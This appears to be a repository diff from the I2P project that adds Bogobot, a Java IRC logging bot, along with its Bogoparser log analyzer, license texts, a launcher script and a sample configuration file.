_roundTripDelayPeriod = Integer.parseInt(config.getProperty("roundTripDelayPeriod", "300"));
_isUserlistCommandEnabled = Boolean.valueOf(config.getProperty("isUserlistCommandEnabled", "true")).booleanValue();
_userlistCommandTrigger = config.getProperty("userlistCommandTrigger", "!who");
_commandAntiFloodInterval = Long.parseLong(config.getProperty("commandAntiFloodInterval", "60"));
}
public Bogobot(String configFileName) {
loadConfigFile(configFileName);
this.setName(_botPrimaryNick);
this.setLogin(_botUsername);
_tickTimer = new Timer();
_tickTimer.scheduleAtFixedRate(new BogobotTickTask(this), 1000, 10 * 1000);
}
public static void main(String[] args) {
Bogobot bogobot;
if (args.length > 1) {
System.err.println("Too many arguments, the only allowed parameter is configuration file name");
System.exit(3);
}
if (args.length == 1) {
bogobot = new Bogobot(args[0]);
} else {
bogobot = new Bogobot("bogobot.config");
}
bogobot.setVerbose(true);
if (bogobot._isLoggerEnabled)
bogobot.initLogger();
bogobot.connectToServer();
}
protected void onTick() {
// Tick about once every ten seconds
if (this.isConnected() && _isRoundTripDelayEnabled) {
if( ( (System.currentTimeMillis() - _lastAutoRoundTripSentTime) >= (_roundTripDelayPeriod * 1000) ) && (this.getOutgoingQueueSize() == 0) ) {
// Connected, sending queue is empty and last RoundTrip is more then 5 minutes old -> Send a new one
_currentAutoRoundTripTag ++;
_lastAutoRoundTripSentTime = System.currentTimeMillis();
sendNotice(this.getNick(),"ROUNDTRIP " + _currentAutoRoundTripTag);
}
}
}
protected void onDisconnect() {
if (_isIntentionalDisconnect)
System.exit(0);
if (_isLoggerEnabled)
_logger.info(System.currentTimeMillis() + " quits *** " + this.getName() + " *** (Lost connection)");
try {
Thread.sleep(60000);
} catch (InterruptedException e) {
// No worries.
}
connectToServer();
}
protected void onJoin(String channel, String sender, String login, String hostname) {
if (_isLoggerEnabled) {
if (sender.equals(this.getName())) {
_logger.info(System.currentTimeMillis() + " joins *** " + _botPrimaryNick + " ***");
} else {
String prependedHostname = "@" + hostname;
if (prependedHostname.endsWith(_loggedHostnamePattern)) {
_logger.info(System.currentTimeMillis() + " joins " + sender);
}
}
}
}
protected void onMessage(String channel, String sender, String login, String hostname, String message) {
message = message.replaceFirst("<.+?> ", "");
if (_isUserlistCommandEnabled && message.equals(_userlistCommandTrigger)) {
if (System.currentTimeMillis() - _lastUserlistCommandTimestamp < _commandAntiFloodInterval * 1000)
return;
Object[] users = getUsers(_ircChannel);
String output = "Userlist for " + _ircChannel + ": ";
for (int i = 0; i < users.length; i++)
output += "[" + ((User) users[i]).getNick() + "] ";
sendMessage(_ircChannel, output);
_lastUserlistCommandTimestamp = System.currentTimeMillis();
}
}
protected void onPart(String channel, String sender, String login, String hostname) {
if (_isLoggerEnabled) {
if (sender.equals(this.getName())) {
_logger.info(System.currentTimeMillis() + " parts *** " + _botPrimaryNick + " ***");
} else {
String prependedHostname = "@" + hostname;
if (prependedHostname.endsWith(_loggedHostnamePattern)) {
_logger.info(System.currentTimeMillis() + " parts " + sender);
}
}
}
}
protected void onPrivateMessage(String sender, String login, String hostname, String message) {
/*
* Nobody else except the bot's owner can shut it down, unless of
* course the owner's nick isn't registered and someone's spoofing it.
*/
if ((sender.equals(_ownerPrimaryNick) || sender.equals(_ownerSecondaryNick)) && message.equals(_botShutdownPassword)) {
if (_isLoggerEnabled)
_logger.info(System.currentTimeMillis() + " quits *** " + this.getName() + " ***");
_isIntentionalDisconnect = true;
disconnect();
}
}
protected void onQuit(String sourceNick, String sourceLogin, String sourceHostname, String reason) {
String prependedHostname = "@" + sourceHostname;
if (sourceNick.equals(_botPrimaryNick))
changeNick(_botPrimaryNick);
if (_isLoggerEnabled) {
if (prependedHostname.endsWith(_loggedHostnamePattern)) {
_logger.info(System.currentTimeMillis() + " quits " + sourceNick + " " + reason);
}
}
}
private void connectToServer() {
int loginAttempts = 0;
while (true) {
try {
connect(_ircServer, _ircServerPort);
break;
} catch (NickAlreadyInUseException e) {
if (loginAttempts == 1) {
System.out.println("Sorry, the primary and secondary bot nicks are already taken. Exiting.");
System.exit(1);
}
loginAttempts++;
try {
Thread.sleep(5000);
} catch (InterruptedException e1) {
// Hmph.
}
if (getName().equals(_botPrimaryNick))
setName(_botSecondaryNick);
else
setName(_botPrimaryNick);
continue;
} catch (IOException e) {
System.out.println("Error during login: ");
e.printStackTrace();
System.exit(1);
} catch (IrcException e) {
System.out.println("Error during login: ");
e.printStackTrace();
System.exit(1);
}
}
joinChannel(_ircChannel);
}
protected void onNotice(String sourceNick, String sourceLogin, String sourceHostname, String target, String notice) {
if (sourceNick.equals("NickServ") && (notice.indexOf("/msg NickServ IDENTIFY") >= 0) && (_botNickservPassword != "")) {
sendRawLineViaQueue("NICKSERV IDENTIFY " + _botNickservPassword);
}
if (sourceNick.equals(getNick()) && notice.equals( "ROUNDTRIP " + _currentAutoRoundTripTag)) {
int delay = (int)((System.currentTimeMillis() - _lastAutoRoundTripSentTime) / 100);
// sendMessage(_ircChannel, "Round-trip delay = " + (delay / 10.0f) + " seconds");
if (_isLoggerEnabled)
_logger.info(System.currentTimeMillis() + " roundtrip " + delay);
}
}
private void initLogger() {
String logFilePath = "logs" + File.separator + _logFilePrefix;
DailyRollingFileAppender rollingFileAppender = null;
if (!(new File("logs").exists()))
(new File("logs")).mkdirs();
try {
if (_logFileRotationInterval.equals("monthly"))
rollingFileAppender = new DailyRollingFileAppender(new PatternLayout("%m%n"), logFilePath, "'.'yyyy-MM'.log'");
else if (_logFileRotationInterval.equals("weekly"))
rollingFileAppender = new DailyRollingFileAppender(new PatternLayout("%m%n"), logFilePath, "'.'yyyy-ww'.log'");
else
rollingFileAppender = new DailyRollingFileAppender(new PatternLayout("%m%n"), logFilePath, "'.'yyyy-MM-dd'.log'");
rollingFileAppender.setThreshold(Level.INFO);
_logger.addAppender(rollingFileAppender);
} catch (IOException ex) {
System.out.println("Error: Couldn't create or open an existing log file. Exiting.");
System.exit(1);
}
}
}

View File

@ -0,0 +1,352 @@
/*
* bogoparser - A simple logfile analyzer for bogobot.
*
* Bogoparser.java
* 2004 The I2P Project
* This code is public domain.
*/
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
/**
* @author hypercubus
* @version 0.4
*/
public class Bogoparser {
private static void displayUsageAndExit() {
System.out.println("\r\nUsage:\r\n\r\n java Bogoparser [--by-duration] <logfile>\r\n");
System.exit(1);
}
public static void main(String[] args) {
Bogoparser bogoparser;
if (args.length < 1 || args.length > 2)
displayUsageAndExit();
if (args.length == 2) {
if (!args[0].equals("--by-duration"))
displayUsageAndExit();
bogoparser = new Bogoparser(args[1], true);
}
if (args.length == 1)
bogoparser = new Bogoparser(args[0], false);
}
private Bogoparser(String logfile, boolean sortByDuration) {
ArrayList sortedSessions;
if (sortByDuration) {
sortedSessions = sortSessionsByDuration(calculateSessionDurations(sortSessionsByTime(readLogfile(logfile))));
formatAndOutputByDuration(sortedSessions);
} else {
sortedSessions = calculateSessionDurations(sortSessionsByQuitReason(sortSessionsByNick(sortSessionsByTime(readLogfile(logfile)))));
formatAndOutput(sortedSessions);
}
}
private ArrayList calculateSessionDurations(ArrayList sortedSessionsByQuitReasonOrDuration) {
ArrayList calculatedSessionDurations = new ArrayList();
for (int i = 0; i+1 < sortedSessionsByQuitReasonOrDuration.size(); i += 2) {
String joinsEntry = (String) sortedSessionsByQuitReasonOrDuration.get(i);
String[] joinsEntryFields = joinsEntry.split(" ");
String quitsEntry = (String) sortedSessionsByQuitReasonOrDuration.get(i+1);
Pattern p = Pattern.compile("^([^ ]+) [^ ]+ ([^ ]+) (.*)$");
Matcher m = p.matcher(quitsEntry);
if (m.matches()) {
String currentJoinTime = joinsEntryFields[0];
String currentNick = m.group(2);
String currentQuitReason = m.group(3);
String currentQuitTime = m.group(1);
long joinsTimeInMilliseconds;
long quitsTimeInMilliseconds;
long sessionLengthInMilliseconds;
joinsTimeInMilliseconds = Long.parseLong(currentJoinTime);
quitsTimeInMilliseconds = Long.parseLong(currentQuitTime);
sessionLengthInMilliseconds = quitsTimeInMilliseconds - joinsTimeInMilliseconds;
String hours = "" + sessionLengthInMilliseconds/1000/60/60;
String minutes = "" + (sessionLengthInMilliseconds/1000/60)%60;
if (hours.length() < 2)
hours = "0" + hours;
if (hours.length() < 3)
hours = "0" + hours;
if (minutes.length() < 2)
minutes = "0" + minutes;
int columnPadding = 19-currentNick.length();
String columnPaddingString = " ";
for (int j = 0; j < columnPadding; j++)
columnPaddingString = columnPaddingString + " ";
calculatedSessionDurations.add(sessionLengthInMilliseconds + " " + currentNick + columnPaddingString + " online " + hours + " hours " + minutes + " minutes " + currentQuitReason);
} else {
System.out.println("\r\nError: Unexpected entry in logfile: " + quitsEntry);
System.exit(1);
}
}
return calculatedSessionDurations;
}
private void formatAndOutput(ArrayList sortedSessions) {
String quitReason = null;
for (int i = 0; i < sortedSessions.size(); i++) {
String entry = (String) sortedSessions.get(i);
Pattern p = Pattern.compile("^[\\d]+ ([^ ]+ +online [\\d]+ hours [\\d]+ minutes) (.*)$");
Matcher m = p.matcher(entry);
if (m.matches()) {
if (quitReason == null) {
quitReason = m.group(2);
System.out.println("\r\nQUIT: " + ((m.group(2).equals("")) ? "No Reason Given" : quitReason) + "\r\n");
}
String tempQuitReason = m.group(2);
String tempSession = m.group(1);
if (tempQuitReason.equals(quitReason)) {
System.out.println(" " + tempSession);
} else {
quitReason = null;
i -= 1;
continue;
}
} else {
System.out.println("\r\nError: Unexpected entry in logfile: " + entry);
System.exit(1);
}
}
System.out.println("\r\n");
}
private void formatAndOutputByDuration(ArrayList sortedSessions) {
System.out.println("\r\n");
for (int i = 0; i < sortedSessions.size(); i++) {
String[] columns = ((String) sortedSessions.get(i)).split(" ", 2);
System.out.println(columns[1]);
}
System.out.println("\r\n");
}
private ArrayList readLogfile(String logfile) {
ArrayList log = new ArrayList();
try {
BufferedReader in = new BufferedReader(new InputStreamReader(new FileInputStream(logfile)));
for (String line; (line = in.readLine()) != null; )
log.add(line);
in.close();
} catch (FileNotFoundException e) {
System.out.println("\r\nError: Can't find logfile '" + logfile + "'.\r\n");
System.exit(1);
} catch (IOException e) {
System.out.println("\r\nError: Can't read logfile '" + logfile + "'.\r\n");
System.exit(1);
}
return log;
}
/*
* Performs an odd-even transposition sort.
*/
private ArrayList sortSessionsByDuration(ArrayList calculatedSessionDurations) {
for (int i = 0; i < calculatedSessionDurations.size()/2; i++) {
for (int j = 0; j+1 < calculatedSessionDurations.size(); j += 2) {
String[] currentDurationString = ((String) calculatedSessionDurations.get(j)).split(" ", 2);
long currentDuration = Long.parseLong(currentDurationString[0]);
String[] nextDurationString = ((String) calculatedSessionDurations.get(j+1)).split(" ", 2);
long nextDuration = Long.parseLong(nextDurationString[0]);
if (currentDuration > nextDuration) {
calculatedSessionDurations.add(j, calculatedSessionDurations.get(j+1));
calculatedSessionDurations.remove(j+2);
}
}
for (int j = 1; j+1 < calculatedSessionDurations.size(); j += 2) {
String[] currentDurationString = ((String) calculatedSessionDurations.get(j)).split(" ", 2);
long currentDuration = Long.parseLong(currentDurationString[0]);
String[] nextDurationString = ((String) calculatedSessionDurations.get(j+1)).split(" ", 2);
long nextDuration = Long.parseLong(nextDurationString[0]);
if (currentDuration > nextDuration) {
calculatedSessionDurations.add(j, calculatedSessionDurations.get(j+1));
calculatedSessionDurations.remove(j+2);
}
}
}
return calculatedSessionDurations;
}
private ArrayList sortSessionsByNick(ArrayList sortedSessionsByTime) {
ArrayList sortedSessionsByNick = new ArrayList();
while (sortedSessionsByTime.size() != 0) {
String entry = (String) sortedSessionsByTime.get(0);
String[] entryFields = entry.split(" ");
String currentNick = entryFields[2];
sortedSessionsByNick.add(entry);
sortedSessionsByNick.add(sortedSessionsByTime.get(1));
sortedSessionsByTime.remove(0);
sortedSessionsByTime.remove(0);
for (int i = 0; i+1 < sortedSessionsByTime.size(); i += 2) {
String nextEntry = (String) sortedSessionsByTime.get(i);
String[] nextEntryFields = nextEntry.split(" ");
if (nextEntryFields[2].equals(currentNick)) {
sortedSessionsByNick.add(nextEntry);
sortedSessionsByNick.add(sortedSessionsByTime.get(i+1));
sortedSessionsByTime.remove(i);
sortedSessionsByTime.remove(i);
i -= 2;
}
}
}
return sortedSessionsByNick;
}
private ArrayList sortSessionsByQuitReason(ArrayList sortedSessionsByNick) {
ArrayList sortedSessionsByQuitReason = new ArrayList();
while (sortedSessionsByNick.size() != 0) {
String entry = (String) sortedSessionsByNick.get(1);
Pattern p = Pattern.compile("^[^ ]+ [^ ]+ [^ ]+ (.*)$");
Matcher m = p.matcher(entry);
if (m.matches()) {
String currentQuitReason = m.group(1);
sortedSessionsByQuitReason.add(sortedSessionsByNick.get(0));
sortedSessionsByQuitReason.add(entry);
sortedSessionsByNick.remove(0);
sortedSessionsByNick.remove(0);
for (int i = 0; i+1 < sortedSessionsByNick.size(); i += 2) {
String nextEntry = (String) sortedSessionsByNick.get(i+1);
Pattern p2 = Pattern.compile("^[^ ]+ [^ ]+ [^ ]+ (.*)$");
Matcher m2 = p2.matcher(nextEntry);
if (m2.matches()) {
String nextQuitReason = m2.group(1);
if (nextQuitReason.equals(currentQuitReason)) {
sortedSessionsByQuitReason.add(sortedSessionsByNick.get(i));
sortedSessionsByQuitReason.add(nextEntry);
sortedSessionsByNick.remove(i);
sortedSessionsByNick.remove(i);
i -= 2;
}
} else {
System.out.println("\r\nError: Unexpected entry in logfile: " + nextEntry);
System.exit(1);
}
}
} else {
System.out.println("\r\nError: Unexpected entry in logfile: " + entry);
System.exit(1);
}
}
return sortedSessionsByQuitReason;
}
/**
* Sessions terminated with "parts" messages instead of "quits" are filtered
* out.
*/
private ArrayList sortSessionsByTime(ArrayList log) {
ArrayList sortedSessionsByTime = new ArrayList();
mainLoop:
while (log.size() > 0) {
String entry = (String) log.get(0);
String[] entryFields = entry.split(" ");
if (entryFields[1].equals("quits") && !entryFields[1].equals("joins")) {
/*
* Discard entry. The specified log either doesn't contain
* the corresponding "joins" time for this quit entry or the
* entry is a "parts" or unknown message, and in both cases
* the entry's data is useless.
*/
log.remove(0);
continue;
}
for (int i = 1; i < log.size(); i++) { // Find corresponding "quits" entry.
String tempEntry = (String) log.get(i);
String[] tempEntryFields = tempEntry.split(" ");
if (tempEntryFields[2].equals(entryFields[2])) { // Check if the nick fields for the two entries match.
if (!tempEntryFields[1].equals("quits")) {
if (tempEntryFields[1].equals("joins")) { // Don't discard a subsequent "joins" entry.
log.remove(0);
continue mainLoop;
}
log.remove(i);
continue;
}
sortedSessionsByTime.add(entry);
sortedSessionsByTime.add(tempEntry);
log.remove(i);
break;
}
}
/*
* Discard "joins" entry. The specified log doesn't contain the
* corresponding "quits" time for this entry so the entry's
* data is useless.
*/
log.remove(0);
}
return sortedSessionsByTime;
}
}

View File

@ -0,0 +1,48 @@
/*
* ============================================================================
* The Apache Software License, Version 1.1
* ============================================================================
*
* Copyright (C) 1999 The Apache Software Foundation. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modifica-
* tion, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. The end-user documentation included with the redistribution, if any, must
* include the following acknowledgment: "This product includes software
* developed by the Apache Software Foundation (http://www.apache.org/)."
* Alternately, this acknowledgment may appear in the software itself, if
* and wherever such third-party acknowledgments normally appear.
*
* 4. The names "log4j" and "Apache Software Foundation" must not be used to
* endorse or promote products derived from this software without prior
* written permission. For written permission, please contact
* apache@apache.org.
*
* 5. Products derived from this software may not be called "Apache", nor may
* "Apache" appear in their name, without prior written permission of the
* Apache Software Foundation.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* APACHE SOFTWARE FOUNDATION OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLU-
* DING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* This software consists of voluntary contributions made by many individuals
* on behalf of the Apache Software Foundation. For more information on the
* Apache Software Foundation, please see <http://www.apache.org/>.
*
*/

View File

@ -0,0 +1,340 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.

1
apps/bogobot/bogobot.bat Normal file
View File

@ -0,0 +1 @@
java -cp .;log4j-1.2.8.jar;pircbot.jar Bogobot

101
apps/bogobot/bogobot.config Normal file
View File

@ -0,0 +1,101 @@
#####
# Bogobot user configuration
#####
###
# The bot's nick and backup nick. You will probably want to register these with
# the IRC server's NickServ.(a NickServ interface is forthcoming).
#
botPrimaryNick=somebot
botSecondaryNick=somebot_
###
# The bot's password required by Nickserv service's identify command.
# You have to register the nickname yourself first, the bot will not.
#
botNickservPassword=
###
# The bot's username. Appears in the whois replies
#
botUsername=somebot
#####
# The bot owner's nick and backup nick. One of these must match the owner's
# currently-used nick or else remote shutdown will not be possible. You will
# probably want to register these with the IRC server's NickServ.
#
ownerPrimaryNick=somenick
ownerSecondaryNick=somenick_
###
# The bot will disconnect and shut down when sent this password via private
# message (aka query) from either of the owner nicks specified above. DO NOT USE
# THIS DEFAULT VALUE!
#
botShutdownPassword=take off eh
###
# The server, channel, and port the bot will connect to.
#
ircChannel=#i2p-chat
ircServer=irc.duck.i2p
ircServerPort=6668
###
# Set to "true" to enable logging, else "false" (but don't use quotation marks).
#
isLoggerEnabled=true
###
# Restrict logging of joins and parts on the user hostname.
# Leave empty to log all of them
# Prepend with a @ for a perfect match
# Otherwise, specify the required end of the user hostname
#
loggedHostnamePattern=@free.duck.i2p
